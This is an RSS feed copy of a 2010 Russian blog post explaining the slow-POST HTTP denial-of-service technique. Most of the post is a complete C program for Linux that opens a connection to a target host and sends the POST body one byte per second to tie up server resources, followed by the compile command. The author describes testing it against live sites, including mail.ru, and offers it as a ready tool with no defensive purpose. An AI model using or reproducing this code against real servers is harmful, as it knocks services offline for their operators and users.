<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; POST</title>
	<atom:link href="http://blog.lukmus.ru/tag/post/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>реализация DoS медленного POST</title>
		<link>http://blog.lukmus.ru/2010/11/10/realizatsiya-dos-medlennogo-post/</link>
		<comments>http://blog.lukmus.ru/2010/11/10/realizatsiya-dos-medlennogo-post/#comments</comments>
		<pubDate>Wed, 10 Nov 2010 10:58:13 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[POST]]></category>
		<category><![CDATA[release]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=589</guid>
		<description><![CDATA[8-го ноября была опубликована новость о новой уязвимости HTTP, а так же некоторых других протоколов прикладного уровня: ﻿Уязвимость опирается на так называемый «медленный» POST-трафик, который затруднительно дифференцировать от законного обмена данными. DDOS-атаки легко проводить в окружении многопользовательских онлайновых игр как среды распределенных компьютерных сетей, затрагивающих массу вычислительных систем. Что интересно, «медленная» POST-технология может быть вполне [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/11/attack-of-the-bots_1.jpg"><img class="alignleft size-full wp-image-591" title="attack-of-the-bots_1" src="http://blog.lukmus.ru/wp-content/uploads/2010/11/attack-of-the-bots_1.jpg" alt="" width="156" height="200" /></a>8-го ноября была опубликована новость о новой уязвимости HTTP, а так же некоторых других протоколов прикладного уровня:</p>
<blockquote><p>﻿Уязвимость опирается на так называемый «медленный» POST-трафик, который затруднительно дифференцировать от законного обмена данными. DDOS-атаки легко проводить в окружении многопользовательских онлайновых игр как среды распределенных компьютерных сетей, затрагивающих массу вычислительных систем.<span id="more-589"></span></p></blockquote>
<blockquote><p>Что интересно, «медленная» POST-технология может быть вполне адаптирована для работы с SMTP и даже DNS-серверами. Атака работает так: вредоносный код отправляет POST-заголовки с легитимно заполненными полями, касающимися размеров готовящихся к передаче данных, однако последние затем передаются на очень низких скоростях, что приводит к формированию «заторов» на серверах и связыванию их системных ресурсов. Достаточно нескольких десятков тысяч ботов, чтобы отключить сервер. Балансирующее нагрузку ПО, ныне используемое для предотвращения DDOS-атак, не эффективно против новой методики.</p></blockquote>
<p>В общем суть сводится к тому что мы посылаем совершенно обыкновенный POST, где data идет очень долго, иначе говоря data&#8217;у посылаем посимвольно с задержками.</p>
<p>Проверял на нескольких сайтах, где-то обрывают соединение не понятно почему, где-то нет. Вероятно, не работает там, где используется nginx как front-end. Что удивительно, как будто этот код написан под mail.ru, там идет как литое.</p>
<p>Реализация на C под Linux:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;sys/socket.h&gt;</span>
<span style="color: #339933;">#include &lt;netdb.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933;">#include &lt;string.h&gt;</span>
&nbsp;
<span style="color: #339933;">#define BUF_LEN 4096</span>
<span style="color: #339933;">#define HTTP_PORT 80</span>
<span style="color: #339933;">#define SLEEP_PERIOD 1</span>
<span style="color: #339933;">#define POST_COUNT &quot;100&quot;</span>
<span style="color: #339933;">#define PATH &quot;/path/to/post&quot;</span>
&nbsp;
<span style="color: #993333;">int</span> main <span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span> argv<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #993333;">int</span> sock<span style="color: #339933;">,</span> count<span style="color: #339933;">;</span>
<span style="color: #993333;">char</span> <span style="color: #339933;">*</span> buf<span style="color: #339933;">;</span>
<span style="color: #993333;">struct</span> hostent <span style="color: #339933;">*</span> host<span style="color: #339933;">;</span>
<span style="color: #993333;">struct</span> sockaddr_in addr<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066;">fprintf</span> <span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;Too few arguments<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
buf <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> <span style="color: #000066;">malloc</span> <span style="color: #009900;">&#40;</span>BUF_LEN<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>buf <span style="color: #339933;">==</span> NULL<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066;">fprintf</span> <span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;malloc() error<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
sock <span style="color: #339933;">=</span> socket <span style="color: #009900;">&#40;</span>PF_INET<span style="color: #339933;">,</span> SOCK_STREAM<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>sock <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066;">fprintf</span> <span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;socket() error<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
addr.<span style="color: #202020;">sin_family</span> <span style="color: #339933;">=</span> AF_INET<span style="color: #339933;">;</span>
&nbsp;
host <span style="color: #339933;">=</span> gethostbyname <span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>host <span style="color: #339933;">==</span> NULL<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066;">fprintf</span> <span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;Unknown server<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
addr.<span style="color: #202020;">sin_addr</span> <span style="color: #339933;">=</span> <span style="color: #339933;">*</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> in_addr<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>host<span style="color: #339933;">-&gt;</span>h_addr_list<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
addr.<span style="color: #202020;">sin_port</span> <span style="color: #339933;">=</span> htons <span style="color: #009900;">&#40;</span>HTTP_PORT<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>connect<span style="color: #009900;">&#40;</span>sock<span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> sockaddr<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>addr<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span> <span style="color: #009900;">&#40;</span>addr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span>
 <span style="color: #009900;">&#123;</span><span style="color: #000066;">fprintf</span> <span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;connect() error<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000066;">strcpy</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;POST &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">strcat</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span>PATH<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">strcat</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot; HTTP/1.1<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">strcat</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;Content-Type: application/x-www-form-urlencoded<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">strcat</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;Content-Length: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">strcat</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span>POST_COUNT<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">strcat</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000066;">fprintf</span><span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span>buf<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
write <span style="color: #009900;">&#40;</span>sock<span style="color: #339933;">,</span> buf<span style="color: #339933;">,</span> <span style="color: #000066;">strlen</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> i<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #000066;">atoi</span><span style="color: #009900;">&#40;</span>POST_COUNT<span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000066;">fprintf</span><span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;-%d&quot;</span><span style="color: #339933;">,</span> i<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
write<span style="color: #009900;">&#40;</span>sock<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;a&quot;</span><span style="color: #339933;">,</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
sleep<span style="color: #009900;">&#40;</span>SLEEP_PERIOD<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
<span style="color: #000066;">strcpy</span><span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
write <span style="color: #009900;">&#40;</span>sock<span style="color: #339933;">,</span> buf<span style="color: #339933;">,</span> <span style="color: #000066;">strlen</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>count <span style="color: #339933;">=</span> read <span style="color: #009900;">&#40;</span>sock<span style="color: #339933;">,</span> buf<span style="color: #339933;">,</span> BUF_LEN<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
write <span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> buf<span style="color: #339933;">,</span> count<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
close <span style="color: #009900;">&#40;</span>sock<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">free</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Компилируем так:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">$ gcc <span style="color: #339933;">-</span>o newdos newdos<span style="color: #339933;">.</span>c <span style="color: #339933;">-</span>std<span style="color: #339933;">=</span>gnu9</pre></td></tr></table></div>

<p>Полную новость смотрите на <a href="https://rdot.org/forum/showthread.php?t=872" target="_blank">rdot&#8217;е</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/11/10/realizatsiya-dos-medlennogo-post/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
